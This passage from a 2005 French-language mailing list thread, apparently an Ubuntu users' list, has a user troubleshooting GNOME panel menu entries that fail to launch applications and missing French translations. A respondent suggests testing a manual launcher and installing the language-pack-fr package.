 fonctionnent pas ? Quel est le message exact ?

Dans la version précédente, j'avais une boîte de dialogue qui disait:

  Impossible de lancer l'entrée
  Détails : Le texte était vide (ou ne contenait que des espaces)

Maintenant, j'ai la même chose, mais en franglais ;-)

Par contre, dans mon ~/.xsession-error, j'ai 

  (gnome-panel:4105): Gtk-WARNING **: Ignoring the separator setting

sn_launcher_context_complete called for an SnLauncherContext that
hasn't been in itiated

  (gnome-panel:4105): Gtk-WARNING **: Ignoring the separator setting

Je n'ai aucune idée si c'est lié ou non. Google est totalement muet
là-dessus (au mieux, tu retrouveras mes messages).

Le symptôme : le menu est présent, y compris les icônes associés, mais
le lancement des applications ad hoc provoque le comportement
ci-dessus. Je ne confirme pas le message de xession-errors pour la
dernière version d'Ubuntu.

Machine AMD64. Cédérom Ubuntu pour le deux versions sans dépôt
Universe ni paquet venant d'ailleurs.

PK

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Re: Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
Le 15/06/05, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :

[...]

 Le symptôme : le menu est présent, y compris les icônes associés, mais
 le lancement des applications ad hoc provoque le comportement
 ci-dessus. Je ne confirme pas le message de xession-errors pour la
 dernière version d'Ubuntu.

J'ai oublié le plus important : les applications des menus sont bien
installées et se lancent sans problème à la main. Dans la dernière
version d'Ubuntu, avec GNOME 2.10, il y a une entrée dans le menu pour
taper sa commande : cela fonctionne bien aussi, y compris en
choisissant l'appli avec la souris (sauf pour OOo, qui fait planter le
panel (?!)). Idem en ligne de commandes.

À noter qu'il ne s'agit pas d'un problème local au compte testé : j'ai
crée un nouveau compte qui a le même problème par défaut.

La l10n merdoie grave dans cette version de GNOME aussi... la plupart
des menus sont en anglais alors qu'ils étaient francisés correctement
auparavant.

PK

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  |\  _,,,---,,_   Patrice KARATCHENTZEFF
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Re: Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
2005/6/15, Sebastien Bacher [EMAIL PROTECTED]:
 Le mercredi 15 juin 2005 à 14:10 +0200, Patrice Karatchentzeff a écrit :
 
  À noter qu'il ne s'agit pas d'un problème local au compte testé : j'ai
  crée un nouveau compte qui a le même problème par défaut.
 
 Bizarre, bizarre. Est-ce qu'un lanceur crée à la main sur un panel
 marche normalement ?

Sur la précédente version, oui. Sur la courante, je n'ai pas testé.

  La l10n merdoie grave dans cette version de GNOME aussi... la plupart
  des menus sont en anglais alors qu'ils étaient francisés correctement
  auparavant.
 
 Est-ce que le paquet language-pack-fr est installé ? Depuis hoary les
 traductions sont séparées des applications ce qui permet une mise à jour
 des traductions facile.

OK, je vais l'installer. J'avoue n'avoir pas plus chercher que cela à
résoudre ce problème (mineur en rapport de l'autre). Pour info, cela
devrait être suggéré lors de la mise à jour en fonction des locales
et/ou de la langue par défaut de GNOME.

Merci

PK

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